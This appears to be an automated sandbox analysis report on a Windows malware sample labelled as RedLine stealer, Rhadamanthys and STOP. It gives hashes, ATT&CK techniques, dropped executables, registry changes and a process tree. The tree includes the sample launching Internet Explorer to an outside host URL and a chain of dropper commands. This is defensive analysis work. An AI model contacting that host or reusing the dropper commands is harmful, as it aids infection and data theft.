f630c73963b1d876e2fdfcfbaf81f7109034f9f3ed5c61e15f4217f4028c4fe9

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
02/06/2026, 04:05

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-06-02_fbc5a78d65d3374c4c4c565486c94b1b_elex_redline-stealer_rhadamanthys_stop.exe
Size 226KB
Sample260602-enqxeadw21
SHA256 f630c73963b1d876e2fdfcfbaf81f7109034f9f3ed5c61e15f4217f4028c4fe9
MD5 fbc5a78d65d3374c4c4c565486c94b1b
SHA1 0bb0df97d6948ddef59b936b00e2a70e802912b9
SHA512 457692799d2b91a2f1a97d6ba8f1c693be0e2594ad0244d1eacf65946a7be66d282d99b524cf26bde5a07229942768a0c7c0757d02014ca844256aa7bad7b568
SSDEEP 3072:zGSyY4L+c2JhX7ypa3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7:SXY4LK+a3lLNngoqRttA7
TLSH
T1E934490272818071E7560B78046AE7A1467E7C384BA5E68FF7683B795E312D3AD3721F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

adware discovery spyware

Malware Config

Signatures

Executes dropped EXE 64 IoCs

pid	Process
4788	CP.exe
5116	mjebwuomge.exe
1532	CP.exe
2148	CP.exe
1992	i_mjebwuomge.exe
3200	dbvtolgeyw.sys
2088	CP.exe
1460	wqojgbztrl.exe
3128	CP.exe
3520	CP.exe
1780	i_wqojgbztrl.exe
2296	ywqoigbytr.sys
3688	CP.exe
4288	idbvtnlgdy.exe
1224	CP.exe
2848	CP.exe
3240	i_idbvtnlgdy.exe
784	lidbvtnlfd.sys
4348	CP.exe
4640	dysqlidbvt.exe
3904	CP.exe
3552	CP.exe
5100	i_dysqlidbvt.exe
2060	axsqkicavs.sys
5056	CP.exe
3172	sqkidavsnl.exe
1848	CP.exe
2284	CP.exe
1088	i_sqkidavsnl.exe
3988	snkfcxvpnh.sys
4136	CP.exe
60	hfzxspkica.exe
2392	CP.exe
868	CP.exe
4568	i_hfzxspkica.exe
2040	spkicausmk.sys
4240	CP.exe
4336	cxupmhfzxr.exe
2244	CP.exe
656	CP.exe
4448	i_cxupmhfzxr.exe
644	bzurmkecwu.sys
3896	CP.exe
388	upmhezxomh.exe
2440	CP.exe
1992	CP.exe
1884	i_upmhezxomh.exe
2428	ljebwuomge.sys
3460	CP.exe
1804	ezwrpjhbzt.exe
3512	CP.exe
4868	CP.exe
568	i_ezwrpjhbzt.exe
668	geywqojgbz.sys
1408	CP.exe
752	ytrljebwto.exe
4672	CP.exe
1684	CP.exe
2176	i_ytrljebwto.exe
3940	gbytqljdbv.sys
4464	CP.exe
4712	qljdbvtolg.exe
756	CP.exe
2376	CP.exe

System Location Discovery: System Language Discovery 1 TTPs 43 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_usmkecwupm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wupmhfzxrp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ljebwrojhb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_sqkidavsnl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wqojgbztrl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wqojgbztrl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	upmhezxomh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ytrljebwto.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wupmhfzxrp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aytqljdbnl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_aytqljdbnl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vtolgdywqo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tnlgdyvqoi.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_dysqlidbvt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_cxupmhfzxr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ezwrpjhbzt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hfzxspkica.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cxupmhfzxr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nifaysqkic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	causmkfcxv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rmjebwuomg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vtolgdywqo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hfzxspkica.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mjebwuomge.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rmjebwuomg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	idbvtnlgdy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qljdbvtolg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_tnlgdyvqoi.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nifaysqkic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ytrljebwto.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qljdbvtolg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-06-02_fbc5a78d65d3374c4c4c565486c94b1b_elex_redline-stealer_rhadamanthys_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mjebwuomge.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_idbvtnlgdy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_upmhezxomh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ljebwrojhb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dysqlidbvt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sqkidavsnl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ezwrpjhbzt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_causmkfcxv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	usmkecwupm.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
1852	ipconfig.exe
3348	ipconfig.exe
4320	ipconfig.exe
1632	ipconfig.exe
416	ipconfig.exe
4404	ipconfig.exe
1940	ipconfig.exe
3508	ipconfig.exe
3648	ipconfig.exe
2272	ipconfig.exe
1408	ipconfig.exe
4392	ipconfig.exe
1132	ipconfig.exe
3908	ipconfig.exe
2712	ipconfig.exe
4920	ipconfig.exe
3648	ipconfig.exe
3404	ipconfig.exe
2424	ipconfig.exe
4108	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 32 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "487138105"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 403d96824df2dc01	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 30699d824df2dc01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000015ec7194f8c8944e8e3c279917e59d0e00000000020000000000106600000001000020000000a572a631e32c57ec82549ad14f1eef4d16d84d0374fcfd864f4878b846c25534000000000e8000000002000020000000925d2861776d2a7531a3408e98d375fe58a8bed40691d0d9915d6d657159a06d200000008a2449a55aedb28ce8ff75b0dbd5e3b0949a19015e5ae9e1eea6b5a6a5956e564000000082c262fca26ee519ad3f1db82246db2a595fed845eb18abb1fd4d86f798686a38f712bd1e61b8b800aa6df70ddd2640bd9ae5a1ca21e74ae68d7ae554fc57868	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{4B8C9E08-5E38-11F1-B05C-EEE306B5526A} = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Software\Microsoft\Internet Explorer\IESettingSync	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31257157"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "537188212"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000015ec7194f8c8944e8e3c279917e59d0e0000000002000000000010660000000100002000000048cc3df4957579a66f9241744bc4627446238c607b8374bef74a6605e3d09325000000000e80000000020000200000005c586a066fd320c3504773807863c1c6a7e090f69646d2c619093d34d221924320000000f291962397361553762aabed04eb1246a185d3d0ac5ef3c8f25f017c0bb90127400000000b2229bc3d1a26db2ae4c0730746123d3d88ac2417a0317111c130ab4d6f2f23ff73b4b299c89c8fab7289891d20b22db31c1d34f4bea09e760d9ca4894025cb	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe

Suspicious behavior: LoadsDriver 19 IoCs

pid	Process
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found

Suspicious use of AdjustPrivilegeToken 20 IoCs

description	pid	Process
Token: SeDebugPrivilege	1992	i_mjebwuomge.exe
Token: SeDebugPrivilege	1780	i_wqojgbztrl.exe
Token: SeDebugPrivilege	3240	i_idbvtnlgdy.exe
Token: SeDebugPrivilege	5100	i_dysqlidbvt.exe
Token: SeDebugPrivilege	1088	i_sqkidavsnl.exe
Token: SeDebugPrivilege	4568	i_hfzxspkica.exe
Token: SeDebugPrivilege	4448	i_cxupmhfzxr.exe
Token: SeDebugPrivilege	1884	i_upmhezxomh.exe
Token: SeDebugPrivilege	568	i_ezwrpjhbzt.exe
Token: SeDebugPrivilege	2176	i_ytrljebwto.exe
Token: SeDebugPrivilege	2820	i_qljdbvtolg.exe
Token: SeDebugPrivilege	4212	i_tnlgdyvqoi.exe
Token: SeDebugPrivilege	2292	i_nifaysqkic.exe
Token: SeDebugPrivilege	4768	i_causmkfcxv.exe
Token: SeDebugPrivilege	3796	i_usmkecwupm.exe
Token: SeDebugPrivilege	4872	i_wupmhfzxrp.exe
Token: SeDebugPrivilege	2804	i_rmjebwuomg.exe
Token: SeDebugPrivilege	568	i_ljebwrojhb.exe
Token: SeDebugPrivilege	2100	i_vtolgdywqo.exe
Token: SeDebugPrivilege	4300	i_aytqljdbnl.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4424	iexplore.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
4424	iexplore.exe
4424	iexplore.exe
4732	IEXPLORE.EXE
4732	IEXPLORE.EXE
4732	IEXPLORE.EXE
4732	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 62 IoCs

description	pid	Process	procid_target
PID 3056 wrote to memory of 4424	3056	2026-06-02_fbc5a78d65d3374c4c4c565486c94b1b_elex_redline-stealer_rhadamanthys_stop.exe	90
PID 4424 wrote to memory of 4732	4424	iexplore.exe	91
PID 3056 wrote to memory of 4788	3056	2026-06-02_fbc5a78d65d3374c4c4c565486c94b1b_elex_redline-stealer_rhadamanthys_stop.exe	93
PID 5116 wrote to memory of 1532	5116	mjebwuomge.exe	96
PID 3056 wrote to memory of 2148	3056	2026-06-02_fbc5a78d65d3374c4c4c565486c94b1b_elex_redline-stealer_rhadamanthys_stop.exe	99
PID 3056 wrote to memory of 2088	3056	2026-06-02_fbc5a78d65d3374c4c4c565486c94b1b_elex_redline-stealer_rhadamanthys_stop.exe	103
PID 1460 wrote to memory of 3128	1460	wqojgbztrl.exe	105
PID 3056 wrote to memory of 3520	3056	2026-06-02_fbc5a78d65d3374c4c4c565486c94b1b_elex_redline-stealer_rhadamanthys_stop.exe	108
PID 3056 wrote to memory of 3688	3056	2026-06-02_fbc5a78d65d3374c4c4c565486c94b1b_elex_redline-stealer_rhadamanthys_stop.exe	112
PID 4288 wrote to memory of 1224	4288	idbvtnlgdy.exe	114
PID 3056 wrote to memory of 2848	3056	2026-06-02_fbc5a78d65d3374c4c4c565486c94b1b_elex_redline-stealer_rhadamanthys_stop.exe	117
PID 3056 wrote to memory of 4348	3056	2026-06-02_fbc5a78d65d3374c4c4c565486c94b1b_elex_redline-stealer_rhadamanthys_stop.exe	121
PID 4640 wrote to memory of 3904	4640	dysqlidbvt.exe	123
PID 3056 wrote to memory of 3552	3056	2026-06-02_fbc5a78d65d3374c4c4c565486c94b1b_elex_redline-stealer_rhadamanthys_stop.exe	126
PID 3056 wrote to memory of 5056	3056	2026-06-02_fbc5a78d65d3374c4c4c565486c94b1b_elex_redline-stealer_rhadamanthys_stop.exe	132
PID 3172 wrote to memory of 1848	3172	sqkidavsnl.exe	134
PID 3056 wrote to memory of 2284	3056	2026-06-02_fbc5a78d65d3374c4c4c565486c94b1b_elex_redline-stealer_rhadamanthys_stop.exe	137
PID 3056 wrote to memory of 4136	3056	2026-06-02_fbc5a78d65d3374c4c4c565486c94b1b_elex_redline-stealer_rhadamanthys_stop.exe	141
PID 60 wrote to memory of 2392	60	hfzxspkica.exe	143
PID 3056 wrote to memory of 868	3056	2026-06-02_fbc5a78d65d3374c4c4c565486c94b1b_elex_redline-stealer_rhadamanthys_stop.exe	146
PID 3056 wrote to memory of 4240	3056	2026-06-02_fbc5a78d65d3374c4c4c565486c94b1b_elex_redline-stealer_rhadamanthys_stop.exe	150
PID 4336 wrote to memory of 2244	4336	cxupmhfzxr.exe	152
PID 3056 wrote to memory of 656	3056	2026-06-02_fbc5a78d65d3374c4c4c565486c94b1b_elex_redline-stealer_rhadamanthys_stop.exe	155
PID 3056 wrote to memory of 3896	3056	2026-06-02_fbc5a78d65d3374c4c4c565486c94b1b_elex_redline-stealer_rhadamanthys_stop.exe	162
PID 388 wrote to memory of 2440	388	upmhezxomh.exe	164
PID 3056 wrote to memory of 1992	3056	2026-06-02_fbc5a78d65d3374c4c4c565486c94b1b_elex_redline-stealer_rhadamanthys_stop.exe	168
PID 3056 wrote to memory of 3460	3056	2026-06-02_fbc5a78d65d3374c4c4c565486c94b1b_elex_redline-stealer_rhadamanthys_stop.exe	175
PID 1804 wrote to memory of 3512	1804	ezwrpjhbzt.exe	177
PID 3056 wrote to memory of 4868	3056	2026-06-02_fbc5a78d65d3374c4c4c565486c94b1b_elex_redline-stealer_rhadamanthys_stop.exe	180
PID 3056 wrote to memory of 1408	3056	2026-06-02_fbc5a78d65d3374c4c4c565486c94b1b_elex_redline-stealer_rhadamanthys_stop.exe	187
PID 752 wrote to memory of 4672	752	ytrljebwto.exe	189
PID 3056 wrote to memory of 1684	3056	2026-06-02_fbc5a78d65d3374c4c4c565486c94b1b_elex_redline-stealer_rhadamanthys_stop.exe	192
PID 3056 wrote to memory of 4464	3056	2026-06-02_fbc5a78d65d3374c4c4c565486c94b1b_elex_redline-stealer_rhadamanthys_stop.exe	196
PID 4712 wrote to memory of 756	4712	qljdbvtolg.exe	198
PID 3056 wrote to memory of 2376	3056	2026-06-02_fbc5a78d65d3374c4c4c565486c94b1b_elex_redline-stealer_rhadamanthys_stop.exe	201
PID 3056 wrote to memory of 4056	3056	2026-06-02_fbc5a78d65d3374c4c4c565486c94b1b_elex_redline-stealer_rhadamanthys_stop.exe	205
PID 3424 wrote to memory of 4528	3424	tnlgdyvqoi.exe	207
PID 3056 wrote to memory of 3388	3056	2026-06-02_fbc5a78d65d3374c4c4c565486c94b1b_elex_redline-stealer_rhadamanthys_stop.exe	210
PID 3056 wrote to memory of 3964	3056	2026-06-02_fbc5a78d65d3374c4c4c565486c94b1b_elex_redline-stealer_rhadamanthys_stop.exe	214
PID 2040 wrote to memory of 3872	2040	nifaysqkic.exe	216
PID 3056 wrote to memory of 3940	3056	2026-06-02_fbc5a78d65d3374c4c4c565486c94b1b_elex_redline-stealer_rhadamanthys_stop.exe	220
PID 3056 wrote to memory of 4644	3056	2026-06-02_fbc5a78d65d3374c4c4c565486c94b1b_elex_redline-stealer_rhadamanthys_stop.exe	224
PID 556 wrote to memory of 4628	556	causmkfcxv.exe	226
PID 3056 wrote to memory of 4792	3056	2026-06-02_fbc5a78d65d3374c4c4c565486c94b1b_elex_redline-stealer_rhadamanthys_stop.exe	229
PID 3056 wrote to memory of 3016	3056	2026-06-02_fbc5a78d65d3374c4c4c565486c94b1b_elex_redline-stealer_rhadamanthys_stop.exe	233
PID 3240 wrote to memory of 3768	3240	usmkecwupm.exe	235
PID 3056 wrote to memory of 4940	3056	2026-06-02_fbc5a78d65d3374c4c4c565486c94b1b_elex_redline-stealer_rhadamanthys_stop.exe	238
PID 3056 wrote to memory of 3468	3056	2026-06-02_fbc5a78d65d3374c4c4c565486c94b1b_elex_redline-stealer_rhadamanthys_stop.exe	242
PID 2744 wrote to memory of 2140	2744	wupmhfzxrp.exe	244
PID 3056 wrote to memory of 560	3056	2026-06-02_fbc5a78d65d3374c4c4c565486c94b1b_elex_redline-stealer_rhadamanthys_stop.exe	247
PID 3056 wrote to memory of 4396	3056	2026-06-02_fbc5a78d65d3374c4c4c565486c94b1b_elex_redline-stealer_rhadamanthys_stop.exe	251
PID 2280 wrote to memory of 2320	2280	rmjebwuomg.exe	253
PID 3056 wrote to memory of 704	3056	2026-06-02_fbc5a78d65d3374c4c4c565486c94b1b_elex_redline-stealer_rhadamanthys_stop.exe	256
PID 3056 wrote to memory of 1944	3056	2026-06-02_fbc5a78d65d3374c4c4c565486c94b1b_elex_redline-stealer_rhadamanthys_stop.exe	260
PID 412 wrote to memory of 2204	412	ljebwrojhb.exe	262
PID 3056 wrote to memory of 2880	3056	2026-06-02_fbc5a78d65d3374c4c4c565486c94b1b_elex_redline-stealer_rhadamanthys_stop.exe	265
PID 3056 wrote to memory of 4656	3056	2026-06-02_fbc5a78d65d3374c4c4c565486c94b1b_elex_redline-stealer_rhadamanthys_stop.exe	273
PID 1572 wrote to memory of 4776	1572	vtolgdywqo.exe	275
PID 3056 wrote to memory of 3180	3056	2026-06-02_fbc5a78d65d3374c4c4c565486c94b1b_elex_redline-stealer_rhadamanthys_stop.exe	278
PID 3056 wrote to memory of 1996	3056	2026-06-02_fbc5a78d65d3374c4c4c565486c94b1b_elex_redline-stealer_rhadamanthys_stop.exe	282
PID 4340 wrote to memory of 876	4340	aytqljdbnl.exe	284
PID 3056 wrote to memory of 2980	3056	2026-06-02_fbc5a78d65d3374c4c4c565486c94b1b_elex_redline-stealer_rhadamanthys_stop.exe	287

C:\Users\Admin\AppData\Local\Temp\2026-06-02_fbc5a78d65d3374c4c4c565486c94b1b_elex_redline-stealer_rhadamanthys_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-06-02_fbc5a78d65d3374c4c4c565486c94b1b_elex_redline-stealer_rhadamanthys_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3056
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4424
- - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4424 CREDAT:17410 /prefetch:2
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Suspicious use of SetWindowsHookEx
    PID:4732
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\mjebwuomge.exe ups_run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:4788
- - C:\Temp\mjebwuomge.exe
    C:\Temp\mjebwuomge.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5116
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:1532
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2712
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_mjebwuomge.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2148
- - C:\Temp\i_mjebwuomge.exe
    C:\Temp\i_mjebwuomge.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1992
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\wqojgbztrl.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:2088
- - C:\Temp\wqojgbztrl.exe
    C:\Temp\wqojgbztrl.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1460
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3128
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1632
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_wqojgbztrl.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3520
- - C:\Temp\i_wqojgbztrl.exe
    C:\Temp\i_wqojgbztrl.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1780
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\idbvtnlgdy.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:3688
- - C:\Temp\idbvtnlgdy.exe
    C:\Temp\idbvtnlgdy.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4288
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:1224
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3648
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_idbvtnlgdy.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2848
- - C:\Temp\i_idbvtnlgdy.exe
    C:\Temp\i_idbvtnlgdy.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3240
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\dysqlidbvt.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4348
- - C:\Temp\dysqlidbvt.exe
    C:\Temp\dysqlidbvt.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4640
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3904
    - - C:\windows\system32\ipconfig.exe
        
